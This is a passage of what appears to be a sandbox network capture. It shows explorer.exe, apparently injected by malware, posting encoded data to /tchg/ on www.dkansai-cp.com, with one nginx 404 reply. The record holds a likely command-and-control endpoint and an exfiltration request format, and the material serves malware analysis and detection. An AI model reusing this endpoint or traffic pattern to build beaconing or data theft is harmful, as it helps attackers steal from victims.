28	192.168.11.20	49787	183.90.238.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:32.501301050 CEST	709	OUT	POST /tchg/ HTTP/1.1 Host: www.dkansai-cp.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.dkansai-cp.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.dkansai-cp.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 6c 54 47 5f 69 5a 51 31 65 38 72 54 58 65 47 43 6a 41 6d 6f 5a 6f 67 52 71 32 36 45 34 5f 33 59 4f 71 48 75 41 43 39 74 75 52 33 46 4c 63 46 33 78 67 65 6d 28 76 32 45 68 32 70 79 7e 66 42 67 28 53 7e 45 6a 34 71 78 7a 4f 4f 73 59 32 57 7a 54 31 41 5f 4b 64 6e 62 4d 39 49 55 4b 67 65 30 69 59 45 75 41 51 76 41 74 5f 47 68 30 76 4f 4f 35 32 34 38 39 45 28 39 4a 77 69 47 73 6c 37 34 6d 4c 6d 47 28 41 42 67 32 34 6d 51 67 53 4f 34 4e 72 70 65 57 36 4a 6f 62 65 41 77 32 42 39 68 48 76 52 53 38 63 28 7a 46 48 64 6f 6b 49 31 6a 44 5a 50 38 34 79 37 6a 67 57 28 55 68 63 46 74 75 7a 6e 70 72 33 58 66 79 4e 30 65 49 41 6b 41 6d 66 28 35 67 6b 59 6c 6f 59 30 53 56 31 77 56 4a 62 76 30 66 78 7a 66 56 6d 4c 4e 4d 6c 64 59 44 4d 4a 7a 5a 4b 58 67 66 33 61 6f 76 2d 79 4f 65 32 78 69 78 4e 46 70 45 66 4a 61 62 70 48 76 32 4a 65 54 6f 64 6a 5f 5a 72 6f 70 50 38 42 58 35 32 38 43 7a 68 30 6d 38 65 36 38 53 4e 78 41 45 6b 66 31 70 79 75 68 57 39 72 53 47 65 78 52 70 6f 66 33 76 41 49 6f 6a 6c 35 4c 58 67 7e 78 57 62 33 74 62 47 33 6b 50 66 70 55 31 46 4d 75 54 35 51 44 4f 68 78 51 4e 32 38 37 66 71 57 50 39 6b 71 6a 65 61 78 68 31 7a 4d 4d 52 49 58 52 6a 4f 56 47 28 4a 67 6c 78 69 59 31 59 4c 34 57 49 52 32 55 38 6f 4b 6f 46 6b 72 7a 77 73 54 37 4f 77 41 55 56 76 68 46 54 41 78 79 35 72 73 54 64 42 76 66 4b 44 59 50 7a 76 77 39 58 64 28 66 30 6d 64 71 63 5a 59 63 77 47 7a 34 78 4c 47 59 77 6c 6f 48 55 68 73 74 54 64 52 63 65 32 52 59 42 39 59 5a 72 56 56 53 43 41 58 6b 50 46 41 4a 30 36 61 2d 37 37 41 6c 49 38 71 30 4a 38 36 43 4e 6f 75 76 4a 6d 34 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=lTG_iZQ1e8rTXeGCjAmoZogRq26E4_3YOqHuAC9tuR3FLcF3xgem(v2Eh2py~fBg(S~Ej4qxzOOsY2WzT1A_KdnbM9IUKge0iYEuAQvAt_Gh0vOO52489E(9JwiGsl74mLmG(ABg24mQgSO4NrpeW6JobeAw2B9hHvRS8c(zFHdokI1jDZP84y7jgW(UhcFtuznpr3XfyN0eIAkAmf(5gkYloY0SV1wVJbv0fxzfVmLNMldYDMJzZKXgf3aov-yOe2xixNFpEfJabpHv2JeTodj_ZropP8BX528Czh0m8e68SNxAEkf1pyuhW9rSGexRpof3vAIojl5LXg~xWb3tbG3kPfpU1FMuT5QDOhxQN287fqWP9kqjeaxh1zMMRIXRjOVG(JglxiY1YL4WIR2U8oKoFkrzwsT7OwAUVvhFTAxy5rsTdBvfKDYPzvw9Xd(f0mdqcZYcwGz4xLGYwloHUhstTdRce2RYB9YZrVVSCAXkPFAJ06a-77AlI8q0J86CNouvJm4.
May 30, 2023 11:09:32.771543980 CEST	710	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:09:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Mon, 02 Jul 2018 00:27:42 GMT ETag: W/"afe-56ff9440f72fb" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b 9e 96 6a 6b cb 23 d5 a8 80 72 a4 71 d8 58 34 e2 1e a8 e0 6c 8e 04 55 8f cd 5b ed 02 0a 9d 80 79 9e ca 52 c1 ce c5 5a 20 69 2e a0 a1 f1 ca d4 3b 95 29 e9 59 61 6e 5b 47 ae 02 bd 56 15 37 a8 07 ae a6 f8 53 70 b1 23 be 32 47 d0 29 42 83 36 1b 41 e6 d2 83 a5 df d1 d2 af e2 86 b8 29 ee 89 ab a0 32 4f 9d 45 b3 ef b1 a8 4e 1d f9 26 7e 13 db e2 6b b1 79 fd 91 b8 81 66 03 86 ce 8f 4b f1 71 1a 60 a8 98 a1 0f f0 c5 16 52 e6 52 0d ba 10 fb a1 15 92 80 56 15 cc 3d dc 78 d4 27 56 9d c8 fe 17 50 76 74 42 19 c5 48 43 fa 19 29 a0 a9 c9 b7 94 4c f2 6c 61 8f d6 80 58 07 a6 84 04 4a ee 30 8f 01 89 f3 75 1a 91 98 aa 6c ba 5c 15 24 37 d1 5c 48 45 9e d7 f9 2a cc 73 f7 bb f4 6b 65 3f fb 41 aa 40 49 9b 60 06 23 d6 80 46 8d f5 a5 48 68 3e 4e bc 39 12 51 07 f7 33 01 1d cd 69 98 af aa 2b e6 60 3f 96 14 35 b9 29 99 72 d1 68 be 49 24 45 44 b6 4b c4 9e 3e a4 67 54 96 bc 97 d5 51 b2 d0 f4 30 f5 75 2a 35 ba 56 c4 9a d0 b5 e6 02 0a 99 47 5d 34 54 ad ea 2e 6b 7d 42 ce 20 93 7e 52 47 27 15 ad 09 ac 71 a0 13 e1 56 c4 fa d8 86 64 ba e6 21 07 b7 42 32 a0 70 79 6c 24 29 da c0 a3 da 46 17 34 94 cf e7 e3 96 8f 6b b9 47 22 18 25 2b 6c 62 27 3e a3 00 f5 95 93 22 89 49 13 05 59 e2 b1 fb a4 c2 16 74 b8 04 7f 76 52 e3 4f 96 40 ef 78 5a 7b b9 35 ec 61 54 1a f0 18 b0 3d c4 9a 78 da b9 2d d6 c5 96 f8 52 ec 1a c6 00 33 29 42 c3 b6 f1 6e 83 b8 14 23 e6 7b 6d b9 18 08 f1 11 f6 5d f4 36 6c 30 b5 dd 60 d3 1c d4 22 bc 90 88 a6 f2 c0 e8 41 40 9f 19 aa e0 98 d1 4c a6 5b 63 dc 85 6c 3c d9 99 45 23 53 97 47 2b 93 49 8f 60 5e d2 a5 75 c0 a1 9c 8f 3e 83 7c cf 59 0e 7c 9f 2e db 75 4e 4d 57 bf 45 3c ae 71 78 d9 af 4c 46 d1 ab e6 6e 02 28 86 dc 69 38 bd 88 dd f9 48 55 a3 8e 68 bf 43 4e e3 5f 34 5e d7 05 24 1e 89 3b e2 ba d8 ed fc 2b ee 8a c7 e2 05 6c c7 f5 d7 36 e3 4d ba 31 95 3f b4 8f fa 74 81 87 7a dc ed 23 7e 32 ad 1b 44 7c b6 d7 b6 57 b2 ab f8 cf c4 9f be 02 ca f7 7a d5 37 d6 99 ae 81 06 94 74 21 39 dd 29 2c aa 4b e9 01 51 38 13 97 78 61 f4 ea 1a d4 25 39 73 7b db 9a 8c c1 a2 51 b4 e3 6f 2f 7c 83 6d 75 0d 31 8a f2 0b 07 ef 2e 9d 43 d4 2d 99 72 8a e1 5b Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9),KQ8xa%9s{Qo/\|mu1.C-r[
May 30, 2023 11:09:32.771611929 CEST	711	IN	Data Raw: 2c cf 6a b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e 89 ab e2 96 58 e3 37 f9 df fc 0b be 0e bf 77 c5 13 38 8d ab fc e1 ea 15 7e 9f 5f e1 3b fc 29 bf c5 77 f9 8f 52 d7 59 02 50 39 ed df 44 8e 87 c3 b0 64 Data Ascii: ,j-%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-sX[J{m/W~?,;s:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.11.20	49788	183.90.238.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:09:35.308547974 CEST	716	OUT	POST /tchg/ HTTP/1.1 Host: www.dkansai-cp.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.dkansai-cp.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.dkansai-cp.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 6c 54 47 5f 69 5a 51 31 65 38 72 54 58 65 47 43 6a 41 6d 6f 5a 6f 67 52 71 32 36 45 34 5f 33 59 4f 71 48 75 41 43 39 74 75 52 28 46 4b 76 4e 33 77 48 43 6d 74 66 32 45 39 6d 70 76 7e 66 42 48 28 53 6d 49 6a 34 6d 50 7a 4d 47 73 64 77 47 7a 54 44 63 5f 50 64 6e 65 50 39 49 61 4f 67 65 47 69 59 49 45 41 51 71 39 74 4f 69 68 31 74 47 4f 7e 46 51 5f 68 45 7e 58 4a 77 69 53 39 31 36 46 6d 4c 79 77 28 46 5a 67 32 36 53 51 67 67 6d 34 4c 38 56 65 43 61 4a 72 56 2d 42 68 28 68 39 39 48 76 45 31 38 63 7e 47 46 43 6c 6f 6b 50 68 6a 52 6f 50 5f 37 53 37 6a 7e 47 28 58 71 38 4a 68 75 7a 37 78 72 30 4c 66 79 4e 63 65 48 41 6b 41 6a 37 4c 2d 32 55 5a 67 73 59 30 46 65 56 38 6e 4a 62 37 67 66 77 48 66 56 57 76 4e 57 79 42 59 43 70 70 7a 52 4b 58 69 41 6e 61 37 6b 65 79 61 65 33 42 45 78 4a 78 54 45 63 6c 61 61 4c 50 76 6d 62 6d 51 6c 74 6a 39 48 62 70 6a 64 4d 4e 4c 35 32 73 65 7a 68 30 4d 38 66 4f 38 54 35 31 41 4b 48 48 36 6a 79 75 71 63 74 72 48 50 2d 4e 62 70 6f 7a 5f 76 44 49 43 6a 6d 56 4c 4e 41 7e 78 51 34 66 71 4d 6d 33 64 58 76 70 47 37 6c 4e 32 54 35 4e 71 4f 67 6c 6d 4e 48 67 37 65 65 36 50 36 30 71 67 49 71 78 6c 37 54 4d 57 62 6f 58 52 6a 4f 52 30 28 4a 6b 6c 32 51 49 31 59 35 67 57 61 54 65 55 6e 6f 4b 6d 46 6b 72 75 77 73 66 32 4f 77 5a 7a 56 73 6f 71 54 43 64 79 35 2d 77 54 59 44 47 4a 50 7a 59 4b 33 76 78 6c 59 39 7a 78 30 69 39 79 63 5a 49 4d 6c 6e 54 34 77 4c 57 59 36 46 6f 41 53 42 73 71 53 64 52 4f 54 57 64 4d 42 35 77 76 72 57 4a 43 43 44 6e 6b 66 52 38 52 67 35 4b 45 73 61 51 5a 47 71 79 74 4f 74 32 4e 57 61 57 30 63 79 7e 30 51 6f 34 5a 53 70 75 41 62 74 56 58 7a 59 53 48 33 72 66 4a 72 33 58 6a 52 33 62 68 55 70 49 70 48 62 4b 70 43 34 77 68 73 79 4f 7a 74 65 59 65 57 46 49 30 55 71 42 6f 49 34 50 43 65 54 32 62 55 31 52 4a 37 4a 48 35 67 51 33 46 48 62 7e 6a 76 46 76 76 36 51 55 41 64 69 4e 33 43 73 7e 44 51 43 69 35 47 36 64 37 76 45 57 79 54 37 66 79 34 6f 36 65 37 35 45 63 35 30 28 36 65 74 57 59 7a 76 4c 50 59 70 57 34 32 31 68 6c 35 61 39 53 76 69 73 51 32 6e 7e 67 57 79 64 66 77 62 73 52 42 51 46 75 43 56 53 6c 39 51 79 2d 6b 42 68 35 61 63 43 34 52 47 46 45 56 39 43 56 64 4d 4e 5a 6a 68 61 37 31 47 6c 46 54 52 28 43 70 47 4c 31 36 54 63 73 6c 73 54 72 78 71 70 43 46 6d 73 7a 6e 48 39 5a 37 39 66 41 34 58 4a 43 44 46 55 57 49 64 55 5a 79 77 7a 34 72 65 53 74 4e 75 63 67 70 59 73 79 4c 66 35 61 4b 35 28 70 45 31 37 61 4a 64 47 72 42 4c 51 52 43 43 62 6d 28 38 52 45 62 47 28 4c 6f 2d 7a 70 35 42 6a 36 6b 32 35 71 7e 76 47 69 67 69 56 54 36 7a 72 45 52 30 33 31 57 70 54 66 6d 4e 6e 6f 42 39 54 38 46 58 7e 79 62 51 31 44 6b 66 53 6d 46 73 71 70 4a 73 33 5f 53 6e 38 79 4c 44 59 4e 71 66 69 64 48 75 57 6c 52 39 32 35 53 43 55 63 61 69 76 70 32 6e 51 44 57 4f 58 74 42 5a 54 2d 55 6d 49 32 76 70 6c 4c 37 4d 77 45 56 72 32 6d 67 58 76 76 54 59 33 46 6d 76 61 30 62 77 77 33 37 37 79 74 48 6d 63 67 79 4d 41 53 46 55 6e 46 59 79 62 5f 37 68 72 42 55 48 6d 79 4d 56 56 73 28 6b 37 58 65 49 31 42 51 43 4d 41 41 65 71 4e 49 62 75 5a 79 65 32 47 43 51 4e 65 7a 61 77 6e 75 64 37 68 4d 46 56 42 6c 69 63 55 56 65 6e 74 6c 37 55 47 6d 65 47 61 34 65 78 7a 37 51 37 55 51 6e 77 69 4b 4b 6f 4f 35 39 7e 36 38 61 74 77 7e 53 6d 32 56 55 51 69 58 63 4a 55 62 53 7e 34 52 4f 4c 77 37 64 6f 62 38 44 54 71 58 5a 53 4e 6c 30 44 77 4e 55 36 4a 6b 32 48 42 67 4d 4e 48 4e 42 47 37 49 74 79 4a 7e 45 67 30 46 77 69 5f 4a 4f 32 32 64 63 78 6d 41 64 50 53 32 6d 38 6f 65 45 57 34 57 73 38 2d 75 5f 6d 4e 55 34 51 4b 33 6c 36 75 6d 4a 69 75 79 44 38 55 52 73 45 45 36 64 57 53 57 57 77 49 66 79 44 71 48 49 31 72 33 39 4e 77 76 71 75 46 65 39 79 73 6f 59 37 4e 66 63 42 4f 59 49 68 38 44 65 79 30 5a 68 48 66 6a 6f 49 46 4e 56 62 57 71 76 79 33 67 56 51 62 6b 73 36 75 69 67 59 43 65 59 79 42 78 44 58 68 33 66 7a 64 63 35 46 68 4f 68 49 57 55 4d 6b 45 38 41 59 55 50 66 55 51 34 78 48 62 37 4c 77 56 50 6c 51 53 45 31 70 68 4d 38 65 5a 62 55 43 66 64 78 41 56 47 58 73 38 36 79 54 34 36 61 72 53 38 4c 69 54 4c 6d 50 61 31 79 6c 46 67 72 5a 30 31 46 69 35 55 4d 7a 72 52 32 41 55 4e 72 74 34 6e 72 50 5a 37 7a 6b 35 44 73 62 48 67 Data Ascii: O0qEM=lTG_iZQ1e8rTXeGCjAmoZogRq26E4_3YOqHuAC9tuR(FKvN3wHCmtf2E9mpv~fBH(SmIj4mPzMGsdwGzTDc_PdneP9IaOgeGiYIEAQq9tOih1tGO~FQ_hE~XJwiS916FmLyw(FZg26SQggm4L8VeCaJrV-Bh(h99HvE18c~GFClokPhjRoP_7S7j~G(Xq8Jhuz7xr0LfyNceHAkAj7L-2UZgsY0FeV8nJb7gfwHfVWvNWyBYCppzRKXiAna7keyae3BExJxTEclaaLPvmbmQltj9HbpjdMNL52sezh0M8fO8T51AKHH6jyuqctrHP-Nbpoz_vDICjmVLNA~xQ4fqMm3dXvpG7lN2T5NqOglmNHg7ee6P60qgIqxl7TMWboXRjOR0(Jkl2QI1Y5gWaTeUnoKmFkruwsf2OwZzVsoqTCdy5-wTYDGJPzYK3vxlY9zx0i9ycZIMlnT4wLWY6FoASBsqSdROTWdMB5wvrWJCCDnkfR8Rg5KEsaQZGqytOt2NWaW0cy~0Qo4ZSpuAbtVXzYSH3rfJr3XjR3bhUpIpHbKpC4whsyOzteYeWFI0UqBoI4PCeT2bU1RJ7JH5gQ3FHb~jvFvv6QUAdiN3Cs~DQCi5G6d7vEWyT7fy4o6e75Ec50(6etWYzvLPYpW421hl5a9SvisQ2n~gWydfwbsRBQFuCVSl9Qy-kBh5acC4RGFEV9CVdMNZjha71GlFTR(CpGL16TcslsTrxqpCFmsznH9Z79fA4XJCDFUWIdUZywz4reStNucgpYsyLf5aK5(pE17aJdGrBLQRCCbm(8REbG(Lo-zp5Bj6k25q~vGigiVT6zrER031WpTfmNnoB9T8FX~ybQ1DkfSmFsqpJs3_Sn8yLDYNqfidHuWlR925SCUcaivp2nQDWOXtBZT-UmI2vplL7MwEVr2mgXvvTY3Fmva0bww377ytHmcgyMASFUnFYyb_7hrBUHmyMVVs(k7XeI1BQCMAAeqNIbuZye2GCQNezawnud7hMFVBlicUVentl7UGmeGa4exz7Q7UQnwiKKoO59~68atw~Sm2VUQiXcJUbS~4ROLw7dob8DTqXZSNl0DwNU6Jk2HBgMNHNBG7ItyJ~Eg0Fwi_JO22dcxmAdPS2m8oeEW4Ws8-u_mNU4QK3l6umJiuyD8URsEE6dWSWWwIfyDqHI1r39NwvquFe9ysoY7NfcBOYIh8Dey0ZhHfjoIFNVbWqvy3gVQbks6uigYCeYyBxDXh3fzdc5FhOhIWUMkE8AYUPfUQ4xHb7LwVPlQSE1phM8eZbUCfdxAVGXs86yT46arS8LiTLmPa1ylFgrZ01Fi5UMzrR2AUNrt4nrPZ7zk5DsbHg6XNoqZRfn8gci2ZNcw9WMv8~JNkQFrTlncywDYLLHvhEqnBVfw-kMadLRdCa6Y2405wTf97Iay4zvr_KYEcVRp6TNuuOENPM-kmtTBg6L9N3Kgh(RMhpWCROuKnqaHyV7VGHplXrRpLQdX6zdfxztAfiCezpfSs2OvY76AGZJ2REyx_Qrlm02RRSYuYx4Mfl4thGl4m59hUmm9NrY6rL7FyB6afAGDo(bBpJ7iKoQ53GOg4lmnae3qD9XrhioOWQ-1g76UIKPcIJyjdmC94WnXwKArv2xYI~VhTtxFHml7R6TedrNMLfchMp7DxOxOvlmO4IIXamDQ2pVVDGNHCW3RelnRpS0YtwAE9HTSyyBABVQBh59yDipRZ2ruTWqi1dLdFiI55C8ExmDkT50wWf8dDEGiwhT76dCUtclSRtrUldyz067Iq7vc-n9qtiAZ6ZWGh~TnGswpL~1y4cGq2BpEVtJze9eTNnsnTd-yBq2vKD-CIaW6Y2KGQ4OGBc0yOM98n9BNwLmQx45fX4H3jcAspxpUx4bCpEfG-kx0GHVw-unkpT9hFAf3rDYGGK46cwVJ4RJXVEzKf3PuKn9Y7NZaBDa6TCSifiLTeuvzJTM59Kt~vWATb(c2yeApVFwNWWTdnUQu_nu5SGC4z8pdrNeevY-nI2GDk1JKqG9JnwdLcQvMYpUg4fwlPn6yqeYmY(1GQIVUpMuBkdOXVM38eHUSDDhP3OD7J8F8J5Mm6h0WGF4EqgcOGJIZWMDapHy9qyf88yqO663z6AQUcMctiAT(ttke9nZ0FEaCacepUS9JAD65oIFpiE_QNTfo03yqws5Vyj2BvdaQUjVQzr8rmSOcP4h3EDRqWG4fERBA_2YeYfmXQ~89NJ5MpAVciStFZ6_Z585Xiy252cR7WlVkE5WN0sg4Z~Zdw6F(ixTClsPW6KJtpJfR-krzXx9~tnyLFg1bLUoRnLLPENgEoZjY-avLiOkvyV1DsmlfLzP~-h7AdiICyVf0jmo~131255v4_3f6Qbc7T4pqgYE2Soe4Ah4uAoVpzdBphcvG1~Adwme9Ck2xnF8fuXVT-zE3Nhn4Um2tJz6rjaLLjuyUQXeKl0z(ANifMN9ydNff0OzIm9WTHchKgLkgKWO68JrQAhDKuZMEXs0GFxhfDqZeeNqVeBvxddUq9HbIgRLaxnwFoISmhO15VEX(RT23WFCWimWETiovJKttHnZak~_geBPHHjx594JAmqOol4l0ovx(BFIl2Yq8MqTRCKbvg9w91EDskTVhcxwtzUTtJyxiBFJvyBBUje0Yk1anxGEW6uweTMFgFRT(2n8hAOEQEQgwXoxd7quHmDuYBZ6zEmZVN0w~8oXimHXxq0atRYTh_JoZLMvYOGAWpPk(cJ3E8kEaGUIkGy3I3p2W4YGPAxhb3YUyHVAIPdzc_92PHtsMfABC9tcC18pAFfFtTsoQwUQUbcBa0XxkLGrCsYj1wlXXYS5PyTXji4oruKmwX4a8YD4aH~FCiEK4DPbULxQNAFFPsddYfQvFQlQdENzwCXM2586gXmHjSsaXt1-qW~hyP33w-8VOBiZSvKc66rthAky~QYlMUc-~iVy2syaoeLsx8pqj6~LmnodiESoqqPhbpkyu4elG_RbhdCdafvDrH4QqdH7THZGFAgSJ7BQ1gdwrj94WifI1tUw9syiax8sD5GBbMHlMf2bMLlfC64ycE9ksPaPTvg4PiUZJ609LpsJRDwAQqvJB0RC2pn47vf0XVZzVfAuekhaYLjGzms-C2Z2UFqSCETPemStSi8xUPlv33niw0NBtnDvL8bHiL7HGmofTC4aQcUW1bruY8o18DuWU5y9zh(M3qihSDhrWfflHHP0pqZ5zJlDwXIhZtL-MtCHaZWOKxf4Ho6CXHURsYjYkaqQUbBYCLZ5nqqZF_HgBFwXkmnm27NxCnhI1pOXOj0v(zBUQLR7RXu2~Ssnwcg-VP3iQ6G-NWACrYwWO-7ihbOcdhkPpvyCbfjrBu8bujmqyie02Umph1BtstWWh021SSzvpPN3APPRfH4TAVJ0pXNg6znD(ojuleShdPr49jcmAtokLYwpk9wcT6ckjCycfOGL5B18~ZwPEJlaARIAvlNf3Tm9y1VMJLOYuumghccdlalBy9G4NG1c47hPFxvV1eBOImTRmDfpqeErbNGYHh~cS2AdkIzejnPdMxkwIMKKwTIpFNGxYoRCp_sWTo8rtSHzPj2fQI~c(8V15NWoHueMF8oqHmh4~PamoswwAqoaYWEJGqK5ibCug9W_gO03I28qLRAdqrWgFRyAMZvl8pEPpTIUZK5etObv5xDVoeiOUFt1(EhU294gKUHe5UDNOy4SRvHp7YHBQHC8yjnS6roPQySuAH(VoxTKV9733Rp7xvJMBEqzZlPUEUoS2kjgiUb9XH3fgPCYOyCARZLGa5iNsCJsWdJwvmyUmR0J4iBpBAEkAEFWRT09Jz1TqPrpcgqhSmLMczwrUHJEXk6DN0WAqylxIJMHJq6HrNo0zJR3C5HGVLfNpn~6PZD0z6nlC_SOdhYuKTWweNK5rHWasrDYMuD8LDLmKOLOITowEH1jdoRXFtgxHyeIQBUheOnaZydmEehDBc(89PB_VSuBmGVi9aW_APaEjuzs8Aq9sOBiyI~qTaWGJ5bFzfg20amFS6tyFgLOUlMAa4cuZmX4sQwwWpoCl4woWFBwqxQVVi
May 30, 2023 11:09:35.308645964 CEST	724	OUT	Data Raw: 38 34 78 4c 62 5f 72 65 57 6e 62 33 4b 69 70 79 47 51 69 6f 72 75 64 54 68 6e 43 42 69 2d 52 65 30 6e 4a 68 6c 4d 4f 4c 76 66 45 68 6f 34 55 52 4f 58 63 61 61 7a 4a 61 4c 54 73 56 59 6e 33 5a 36 42 4c 62 6c 5f 64 74 69 76 48 4c 56 78 30 79 56 32 Data Ascii: 84xLb_reWnb3KipyGQiorudThnCBi-Re0nJhlMOLvfEho4UROXcaazJaLTsVYn3Z6BLbl_dtivHLVx0yV2VugWC7~9T8cc0dwhTUqM66DxVwglrzsK6Zbr7cGk4NSqHsODus9UWd3_0Xkxn9aGL5EE4YgsBBrCx7qDmsxxFc(U11UnCEIZlVwExTPU(HkV7PKqK93NnQa9URjA82Vb4lM15_8qvHscfJk6P3JkcY2HpWk52i~8N
May 30, 2023 11:09:35.587405920 CEST	725	OUT	Data Raw: 7a 74 6a 5f 55 68 75 35 43 39 32 71 71 30 7a 6b 38 5a 63 58 4e 72 33 35 49 73 36 76 64 4e 61 53 77 39 32 6b 64 5a 55 2d 34 4b 65 70 6d 6c 36 50 67 38 64 44 30 4e 51 74 68 4a 49 36 48 48 74 57 69 6c 45 78 6c 71 6f 63 75 4d 4b 42 33 30 66 4d 6d 6e Data Ascii: ztj_Uhu5C92qq0zk8ZcXNr35Is6vdNaSw92kdZU-4Kepml6Pg8dD0NQthJI6HHtWilExlqocuMKB30fMmno_gYSpHp4N7DiFJ0rUvMehYiB0YPcDCLM5(JatQmBnxjphsmnNUpRe46AEUEDs2cO5xQVZwRpJzoyaSjWvz_L46EtAk4s0IhTr8ssSK066drgAccnhdPQrD-CIY4SpfnZyUh~2deLBwbDI1KdSE0(WPlKd~rNaTxZ
May 30, 2023 11:09:35.587465048 CEST	728	OUT	Data Raw: 38 38 65 5f 36 46 32 72 45 70 64 41 28 7a 56 61 44 67 64 55 64 65 48 4f 6b 4c 4f 6e 4e 65 6b 49 6f 79 57 2d 71 74 39 66 6d 48 50 4a 68 31 4b 67 73 39 50 46 6c 6e 70 5a 6e 54 4f 63 53 77 67 4e 4f 5a 30 72 6c 76 5a 5f 58 4f 74 48 28 78 75 56 70 5f Data Ascii: 88e_6F2rEpdA(zVaDgdUdeHOkLOnNekIoyW-qt9fmHPJh1Kgs9PFlnpZnTOcSwgNOZ0rlvZ_XOtH(xuVp_LOEJt5YuWu7EZxGQPyGX~zlQU85GAdNupCD5eeL01IetlruoUnNJlzDVuqihPdkdZhO3PMEp7N8EXu0xfmzP6mzmIiOx1r7huH99BnoZjFGtMlfUhCbOXVfIVi~I2MHfM5~YfL6Kfk68LDMH~HVf0su2AfXka9GLS
May 30, 2023 11:09:35.587501049 CEST	732	OUT	Data Raw: 48 30 4e 32 58 73 57 7a 58 47 65 37 46 74 39 59 68 38 7a 51 77 75 57 79 65 6d 41 77 72 41 51 38 55 51 34 6f 6d 68 35 51 72 75 54 76 44 57 34 48 45 6d 75 4d 37 5a 52 4d 56 2d 42 72 33 38 4c 55 69 69 38 63 31 61 35 33 49 58 38 31 57 30 35 68 78 6e Data Ascii: H0N2XsWzXGe7Ft9Yh8zQwuWyemAwrAQ8UQ4omh5QruTvDW4HEmuM7ZRMV-Br38LUii8c1a53IX81W05hxnQ0ACLICmHpyGh93U(zG5~ZZUIL5CqDOXauXpHewWp_3MonU5ytyvgG2owowyDsCk1ypZkgh4cHdJGZ1DV8OFcmZ4T1TW9dYfSVafj8NVrMCP7XrG~hjkWRntsWYA(9~eh6y5AwDix_~FBq3HuTeV3GcdKPNSpl4R~
May 30, 2023 11:09:35.587673903 CEST	737	OUT	Data Raw: 54 36 50 48 55 76 70 69 74 64 75 49 42 52 42 36 4d 42 61 30 42 79 59 39 5a 7a 78 67 46 4c 66 76 75 31 6a 6f 4a 77 38 45 66 50 63 52 43 35 70 54 43 36 4d 47 72 69 6d 32 6e 42 66 6b 56 57 47 68 59 68 6d 50 73 32 65 70 49 75 32 48 45 4f 72 39 70 74 Data Ascii: T6PHUvpitduIBRB6MBa0ByY9ZzxgFLfvu1joJw8EfPcRC5pTC6MGrim2nBfkVWGhYhmPs2epIu2HEOr9ptxbA-N-RPZfoNbIVDse0WoCSgTZi59SAFDxIZBbbwQtOSYNAWZ-ddglU-0c8lYwBef6Lu7rhhUpsFR_BagxY4LONlHRzGT-4MKwtv(SgFgfzOVyph(_qLxesGVnkKJrS4sUKnQsvcNI(vDbJO~RG-~N5TBjEnuzBXp
